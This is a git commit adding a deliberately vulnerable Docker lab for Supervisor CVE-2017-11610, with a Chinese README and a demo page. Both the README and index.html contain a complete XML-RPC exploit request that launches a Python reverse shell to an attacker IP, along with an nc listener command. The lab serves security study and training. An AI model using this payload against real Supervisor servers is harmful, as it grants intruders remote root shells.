(Add Vul: Supervisor) Remote Code Execution(CVE-2017-11610)

2025-06-20 09:50:45 +00:00 · 2017-07-28 00:41:04 +08:00 · 2017-07-28 00:41:04 +08:00 · 7e0fb0860d
commit 7e0fb0860d
parent a41d0a89ca
12 changed files with 583 additions and 1 deletions
--- a/README.md
+++ b/README.md
@ -114,6 +114,7 @@ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-037
 * [Spring Boot](./s/springboot/)
 * [Struts2](./s/struts2/)
 * [Spring WebFlow](./s/springwebflow/)
+* [Supervisor](./s/supervisor/)

 ### [W](./w/)<div id="w"></div>

--- a/s/README.md
+++ b/s/README.md
@ -4,4 +4,5 @@
 * [Shiro](./shiro/)
 * [Spring Boot](./springboot/)
 * [Struts2](./struts2/)
-* [Spring WebFlow](./springwebflow/)
+* [Spring WebFlow](./springwebflow/)
+* [Supervisor](./supervisor/)
--- a/s/supervisor/1/Dockerfile
+++ b/s/supervisor/1/Dockerfile
@ -0,0 +1,22 @@
+FROM debian:jessie
+MAINTAINER Medici.Yan@Gmail.com
+# RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list
+
+RUN set -x \
+    && apt-get update \
+    && apt-get install -y psmisc cron python python-pip \
+    && pip install --upgrade pip \
+    && pip install flask gunicorn supervisor==3.3.2 \
+    && mkdir -p /htdocs/templates
+
+COPY src/app.py /htdocs/app.py
+COPY src/index.html /htdocs/templates/index.html
+COPY src/supervisor.conf /etc/supervisor.conf
+COPY src/start.sh /start.sh
+COPY src/daemon.sh /daemon.sh
+COPY src/root /var/spool/cron/crontabs/root
+
+RUN chmod a+x /start.sh /daemon.sh \
+    && rm -rf /var/lib/apt/lists
+
+CMD ["/start.sh"]
--- a/s/supervisor/1/README.md
+++ b/s/supervisor/1/README.md
@ -0,0 +1,98 @@
+## Supervisor Authenticated Remote Code Execution(CVE-2017-11610)
+
+### 漏洞信息
+
+Supervisor 是用 Python 开发的一套通用的进程管理程序，能将一个普通的命令行进程变为后台 daemon，并监控进程状态，异常退出时能自动重启。Supervisor可通过web接口管理服务，在配置了web接口后，同时会在服务器启动一个 XMLRPC 服务器，端口为 9001。该接口可配置需要密码访问，或者无需认证访问。
+
+在获取该接口的访问权限后，远程攻击者可发送一段精心构造的请求，可在服务器执行任意代码。
+
+### 影响版本
+
+已经确认：
+
+* Supervisor 3.1.2 <= Version <= 3.3.2 
+
+### 镜像信息
+
+类型 | 用户名 | 密码
+:-:|:-:|:-:
+http://xxx/9001/RPC2 | vulapps | vulapps
+
+### 获取环境:
+
+1. 拉取镜像到本地
+
+ ```
+$ docker pull medicean/vulapps:s_supervisor_1
+ ```
+
+2. 启动环境
+
+ ```
+$ docker run -d -p 80:80 -p 9001:9001 medicean/vulapps:s_supervisor_1
+ ```
+ > `-p 80:80` 前面的 80 代表物理机的端口，可随意指定。 
+
+ 访问 http://127.0.0.1:80 看到 web 界面即启动成功
+
+#### Exp
+
+反弹 Shell
+
+> 假定启动后的环境如下：
+>
+> 攻击者 IP: 192.168.2.104
+> 
+> 受害者 IP: 192.168.2.100
+
+1. 在攻击者机器上使用 nc 监听
+
+ ```
+ $ nc -lvp 9999
+ ```
+
+2. 向受害者 9001 端口发送如下报文后即可
+
+```
+POST http://192.168.2.100:9001/RPC2 HTTP/1.1
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
+Accept: text/xml
+Content-Type: text/xml
+Accept-Language: en-GB,en;q=0.5
+Connection: keep-alive
+Upgrade-Insecure-Requests: 1
+Content-Length: 638
+Host: 192.168.2.100:9001
+
+<?xml version="1.0"?>
+<methodCall>
+<methodName>supervisor.supervisord.options.execve</methodName>
+<params>
+<param>
+<string>/usr/bin/python</string>
+</param>
+<param>
+<array>
+<data>
+<value><string>python</string></value>
+<value><string>-c</string></value>
+<value><string>import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.140",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);</string></value>
+</data>
+</array>
+</param>
+<param>
+<struct>
+</struct>
+</param>
+</params>
+</methodCall>
+```
+
+---
+
+![](./exp.png)
+
+### 参考链接
+
+* [SSD Advisory – Supervisor Authenticated Remote Code Execution](https://blogs.securiteam.com/index.php/archives/3348)
+* [[CVE-2017-11610] RCE vulnerability report](https://github.com/Supervisor/supervisor/issues/964)
--- a/s/supervisor/1/exp.png
+++ b/s/supervisor/1/exp.png
--- a/s/supervisor/1/src/app.py
+++ b/s/supervisor/1/src/app.py
@ -0,0 +1,17 @@
+#!/usr/bin/env python
+# coding:utf-8
+
+from flask import Flask, request, render_template
+app = Flask(__name__)
+
+
+@app.route('/')
+def index():
+    headers = request.headers
+    host = headers.get('HOST', "127.0.0.1")
+    host = host.split(":")[0]
+    return render_template('index.html', host=host)
+
+if __name__ == '__main__':
+    app.debug = False
+    app.run(threaded=True, port=8800, host='0.0.0.0')
--- a/s/supervisor/1/src/daemon.sh
+++ b/s/supervisor/1/src/daemon.sh
@ -0,0 +1,7 @@
+#!/bin/bash
+
+ps -A | grep supervisord
+if [[ $? != 0 ]]; then
+    /usr/bin/killall gunicorn
+    /usr/local/bin/supervisord -c /etc/supervisor.conf
+fi
--- a/s/supervisor/1/src/index.html
+++ b/s/supervisor/1/src/index.html
@ -0,0 +1,364 @@
+<!DOCTYPE html>
+<html>
+
+<head>
+
+<meta charset="utf-8">
+<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes">
+
+
+
+<style type="text/css">
+body {
+  font-family: Helvetica, arial, sans-serif;
+  font-size: 14px;
+  line-height: 1.6;
+  padding-top: 10px;
+  padding-bottom: 10px;
+  background-color: white;
+  padding: 30px; }
+
+body > *:first-child {
+  margin-top: 0 !important; }
+body > *:last-child {
+  margin-bottom: 0 !important; }
+
+a {
+  color: #4183C4; }
+a.absent {
+  color: #cc0000; }
+a.anchor {
+  display: block;
+  padding-left: 30px;
+  margin-left: -30px;
+  cursor: pointer;
+  position: absolute;
+  top: 0;
+  left: 0;
+  bottom: 0; }
+
+h1, h2, h3, h4, h5, h6 {
+  margin: 20px 0 10px;
+  padding: 0;
+  font-weight: bold;
+  -webkit-font-smoothing: antialiased;
+  cursor: text;
+  position: relative; }
+
+h1:hover a.anchor, h2:hover a.anchor, h3:hover a.anchor, h4:hover a.anchor, h5:hover a.anchor, h6:hover a.anchor {
+  background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA09pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoMTMuMCAyMDEyMDMwNS5tLjQxNSAyMDEyLzAzLzA1OjIxOjAwOjAwKSAgKE1hY2ludG9zaCkiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6OUM2NjlDQjI4ODBGMTFFMTg1ODlEODNERDJBRjUwQTQiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6OUM2NjlDQjM4ODBGMTFFMTg1ODlEODNERDJBRjUwQTQiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo5QzY2OUNCMDg4MEYxMUUxODU4OUQ4M0REMkFGNTBBNCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo5QzY2OUNCMTg4MEYxMUUxODU4OUQ4M0REMkFGNTBBNCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PsQhXeAAAABfSURBVHjaYvz//z8DJYCRUgMYQAbAMBQIAvEqkBQWXI6sHqwHiwG70TTBxGaiWwjCTGgOUgJiF1J8wMRAIUA34B4Q76HUBelAfJYSA0CuMIEaRP8wGIkGMA54bgQIMACAmkXJi0hKJQAAAABJRU5ErkJggg==) no-repeat 10px center;
+  text-decoration: none; }
+
+h1 tt, h1 code {
+  font-size: inherit; }
+
+h2 tt, h2 code {
+  font-size: inherit; }
+
+h3 tt, h3 code {
+  font-size: inherit; }
+
+h4 tt, h4 code {
+  font-size: inherit; }
+
+h5 tt, h5 code {
+  font-size: inherit; }
+
+h6 tt, h6 code {
+  font-size: inherit; }
+
+h1 {
+  font-size: 28px;
+  color: black; }
+
+h2 {
+  font-size: 24px;
+  border-bottom: 1px solid #cccccc;
+  color: black; }
+
+h3 {
+  font-size: 18px; }
+
+h4 {
+  font-size: 16px; }
+
+h5 {
+  font-size: 14px; }
+
+h6 {
+  color: #777777;
+  font-size: 14px; }
+
+p, blockquote, ul, ol, dl, li, table, pre {
+  margin: 15px 0; }
+
+hr {
+  background: transparent url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAECAYAAACtBE5DAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYwIDYxLjEzNDc3NywgMjAxMC8wMi8xMi0xNzozMjowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNSBNYWNpbnRvc2giIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6OENDRjNBN0E2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6OENDRjNBN0I2NTZBMTFFMEI3QjRBODM4NzJDMjlGNDgiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDo4Q0NGM0E3ODY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDo4Q0NGM0E3OTY1NkExMUUwQjdCNEE4Mzg3MkMyOUY0OCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PqqezsUAAAAfSURBVHjaYmRABcYwBiM2QSA4y4hNEKYDQxAEAAIMAHNGAzhkPOlYAAAAAElFTkSuQmCC) repeat-x 0 0;
+  border: 0 none;
+  color: #cccccc;
+  height: 4px;
+  padding: 0;
+}
+
+body > h2:first-child {
+  margin-top: 0;
+  padding-top: 0; }
+body > h1:first-child {
+  margin-top: 0;
+  padding-top: 0; }
+  body > h1:first-child + h2 {
+    margin-top: 0;
+    padding-top: 0; }
+body > h3:first-child, body > h4:first-child, body > h5:first-child, body > h6:first-child {
+  margin-top: 0;
+  padding-top: 0; }
+
+a:first-child h1, a:first-child h2, a:first-child h3, a:first-child h4, a:first-child h5, a:first-child h6 {
+  margin-top: 0;
+  padding-top: 0; }
+
+h1 p, h2 p, h3 p, h4 p, h5 p, h6 p {
+  margin-top: 0; }
+
+li p.first {
+  display: inline-block; }
+li {
+  margin: 0; }
+ul, ol {
+  padding-left: 30px; }
+
+ul :first-child, ol :first-child {
+  margin-top: 0; }
+
+dl {
+  padding: 0; }
+  dl dt {
+    font-size: 14px;
+    font-weight: bold;
+    font-style: italic;
+    padding: 0;
+    margin: 15px 0 5px; }
+    dl dt:first-child {
+      padding: 0; }
+    dl dt > :first-child {
+      margin-top: 0; }
+    dl dt > :last-child {
+      margin-bottom: 0; }
+  dl dd {
+    margin: 0 0 15px;
+    padding: 0 15px; }
+    dl dd > :first-child {
+      margin-top: 0; }
+    dl dd > :last-child {
+      margin-bottom: 0; }
+
+blockquote {
+  border-left: 4px solid #dddddd;
+  padding: 0 15px;
+  color: #777777; }
+  blockquote > :first-child {
+    margin-top: 0; }
+  blockquote > :last-child {
+    margin-bottom: 0; }
+
+table {
+  padding: 0;border-collapse: collapse; }
+  table tr {
+    border-top: 1px solid #cccccc;
+    background-color: white;
+    margin: 0;
+    padding: 0; }
+    table tr:nth-child(2n) {
+      background-color: #f8f8f8; }
+    table tr th {
+      font-weight: bold;
+      border: 1px solid #cccccc;
+      margin: 0;
+      padding: 6px 13px; }
+    table tr td {
+      border: 1px solid #cccccc;
+      margin: 0;
+      padding: 6px 13px; }
+    table tr th :first-child, table tr td :first-child {
+      margin-top: 0; }
+    table tr th :last-child, table tr td :last-child {
+      margin-bottom: 0; }
+
+img {
+  max-width: 100%; }
+
+span.frame {
+  display: block;
+  overflow: hidden; }
+  span.frame > span {
+    border: 1px solid #dddddd;
+    display: block;
+    float: left;
+    overflow: hidden;
+    margin: 13px 0 0;
+    padding: 7px;
+    width: auto; }
+  span.frame span img {
+    display: block;
+    float: left; }
+  span.frame span span {
+    clear: both;
+    color: #333333;
+    display: block;
+    padding: 5px 0 0; }
+span.align-center {
+  display: block;
+  overflow: hidden;
+  clear: both; }
+  span.align-center > span {
+    display: block;
+    overflow: hidden;
+    margin: 13px auto 0;
+    text-align: center; }
+  span.align-center span img {
+    margin: 0 auto;
+    text-align: center; }
+span.align-right {
+  display: block;
+  overflow: hidden;
+  clear: both; }
+  span.align-right > span {
+    display: block;
+    overflow: hidden;
+    margin: 13px 0 0;
+    text-align: right; }
+  span.align-right span img {
+    margin: 0;
+    text-align: right; }
+span.float-left {
+  display: block;
+  margin-right: 13px;
+  overflow: hidden;
+  float: left; }
+  span.float-left span {
+    margin: 13px 0 0; }
+span.float-right {
+  display: block;
+  margin-left: 13px;
+  overflow: hidden;
+  float: right; }
+  span.float-right > span {
+    display: block;
+    overflow: hidden;
+    margin: 13px auto 0;
+    text-align: right; }
+
+code, tt {
+  margin: 0 2px;
+  padding: 0 5px;
+  white-space: nowrap;
+  border: 1px solid #eaeaea;
+  background-color: #f8f8f8;
+  border-radius: 3px; }
+
+pre code {
+  margin: 0;
+  padding: 0;
+  white-space: pre;
+  border: none;
+  background: transparent; }
+
+.highlight pre {
+  background-color: #f8f8f8;
+  border: 1px solid #cccccc;
+  font-size: 13px;
+  line-height: 19px;
+  overflow: auto;
+  padding: 6px 10px;
+  border-radius: 3px; }
+
+pre {
+  background-color: #f8f8f8;
+  border: 1px solid #cccccc;
+  font-size: 13px;
+  line-height: 19px;
+  overflow: auto;
+  padding: 6px 10px;
+  border-radius: 3px; }
+  pre code, pre tt {
+    background-color: transparent;
+    border: none; }
+
+sup {
+    font-size: 0.83em;
+    vertical-align: super;
+    line-height: 0;
+}
+* {
+	-webkit-print-color-adjust: exact;
+}
+@media screen and (min-width: 914px) {
+    body {
+        width: 854px;
+        margin:0 auto;
+    }
+}
+@media print {
+	table, pre {
+		page-break-inside: avoid;
+	}
+	pre {
+		word-wrap: break-word;
+	}
+}
+</style>
+
+
+</head>
+
+<body>
+
+<h2 id="toc_0">CVE-2017-11610 VulApps Demo</h2>
+
+<blockquote>
+<p>Supervisor Authenticated Remote Code Execution</p>
+</blockquote>
+
+<div><pre><code class="language-none">POST http://{{ host }}:9001/RPC2 HTTP/1.1
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
+Accept: text/xml
+Content-Type: text/xml
+Accept-Language: en-GB,en;q=0.5
+Connection: keep-alive
+Upgrade-Insecure-Requests: 1
+Content-Length: 638
+Host: {{ host }}:9001
+
+&lt;?xml version=&quot;1.0&quot;?&gt;
+&lt;methodCall&gt;
+&lt;methodName&gt;supervisor.supervisord.options.execve&lt;/methodName&gt;
+&lt;params&gt;
+&lt;param&gt;
+&lt;string&gt;/usr/bin/python&lt;/string&gt;
+&lt;/param&gt;
+&lt;param&gt;
+&lt;array&gt;
+&lt;data&gt;
+&lt;value&gt;&lt;string&gt;python&lt;/string&gt;&lt;/value&gt;
+&lt;value&gt;&lt;string&gt;-c&lt;/string&gt;&lt;/value&gt;
+&lt;value&gt;&lt;string&gt;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;192.168.2.140&quot;,9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/bash&quot;,&quot;-i&quot;]);&lt;/string&gt;&lt;/value&gt;
+&lt;/data&gt;
+&lt;/array&gt;
+&lt;/param&gt;
+&lt;param&gt;
+&lt;struct&gt;
+&lt;/struct&gt;
+&lt;/param&gt;
+&lt;/params&gt;
+&lt;/methodCall&gt;</code></pre></div>
+
+<hr>
+
+<p>See more at: <a href="https://github.com/Medicean/VulApps/">VulApps</a></p>
+
+
+
+
+</body>
+
+</html>
--- a/s/supervisor/1/src/root
+++ b/s/supervisor/1/src/root
@ -0,0 +1,28 @@
+# DO NOT EDIT THIS FILE - edit the master and reinstall.
+# (/tmp/crontab.sDovLd/crontab installed on Thu Jul 27 13:24:42 2017)
+# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
+# Edit this file to introduce tasks to be run by cron.
+# 
+# Each task to run has to be defined through a single line
+# indicating with different fields when the task will be run
+# and what command to run for the task
+# 
+# To define the time you can provide concrete values for
+# minute (m), hour (h), day of month (dom), month (mon),
+# and day of week (dow) or use '*' in these fields (for 'any').# 
+# Notice that tasks will be started based on the cron's system
+# daemon's notion of time and timezones.
+# 
+# Output of the crontab jobs (including errors) is sent through
+# email to the user the crontab file belongs to (unless redirected).
+# 
+# For example, you can run a backup of all your user accounts
+# at 5 a.m every week with:
+# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
+# 
+# For more information see the manual pages of crontab(5) and cron(8)
+# 
+# m h  dom mon dow   command
+
+*/1 * * * * /daemon.sh
+
--- a/s/supervisor/1/src/start.sh
+++ b/s/supervisor/1/src/start.sh
@ -0,0 +1,4 @@
+#!/bin/bash
+/usr/sbin/cron restart
+/usr/local/bin/supervisord -c /etc/supervisor.conf
+/usr/bin/tail -f /dev/null
--- a/s/supervisor/1/src/supervisor.conf
+++ b/s/supervisor/1/src/supervisor.conf
@ -0,0 +1,36 @@
+[unix_http_server]
+file=/var/run/supervisor.sock   ; (the path to the socket file)
+;chmod=0700                 ; socket file mode (default 0700)
+;chown=nobody:nogroup       ; socket file uid:gid owner
+;username=vulapps              ; (default is no username (open server))
+;password=vulapps              ; (default is no password (open server))
+
+[inet_http_server]         ; inet (TCP) server disabled by default
+port=*:9001        ; (ip_address:port specifier, *:port for all iface)
+;username=vulapps              ; (default is no username (open server))
+;password=vulapps               ; (default is no password (open server))
+
+[supervisord]
+logfile=/var/log/supervisord.log ; (main log file;default $CWD/supervisord.log)
+logfile_maxbytes=50MB        ; (max main logfile bytes b4 rotation;default 50MB)
+logfile_backups=10           ; (num of main logfile rotation backups;default 10)
+loglevel=info                ; (log level;default info; others: debug,warn,trace)
+pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default supervisord.pid)
+nodaemon=false               ; (start in foreground if true;default false)
+minfds=1024                  ; (min. avail startup file descriptors;default 1024)
+minprocs=200                 ; (min. avail process descriptors;default 200)
+;umask=022                   ; (process file creation umask;default 022)
+user=root                    ; (default is current user, required if root)
+
+[rpcinterface:supervisor]
+supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface
+
+[supervisorctl]
+serverurl=unix:///var/run/supervisor.sock ; use a unix:// URL  for a unix socket
+;serverurl=http://*:9001 ; use an http:// url to specify an inet socket
+;username=vulapps              ; should be same as http_username if set
+;password=vulapps                ; should be same as http_password if set
+
+[program:web]
+command=/usr/local/bin/gunicorn app:app -b 0.0.0.0:80 --log-level info --access-logfile /var/log/access.log
+directory=/htdocs
--- a/s/supervisor/README.md
+++ b/s/supervisor/README.md
@ -0,0 +1,4 @@
+Supervisor
+---
+
+1. [Supervisor Authenticated Remote Code Execution(CVE-2017-11610)](./1)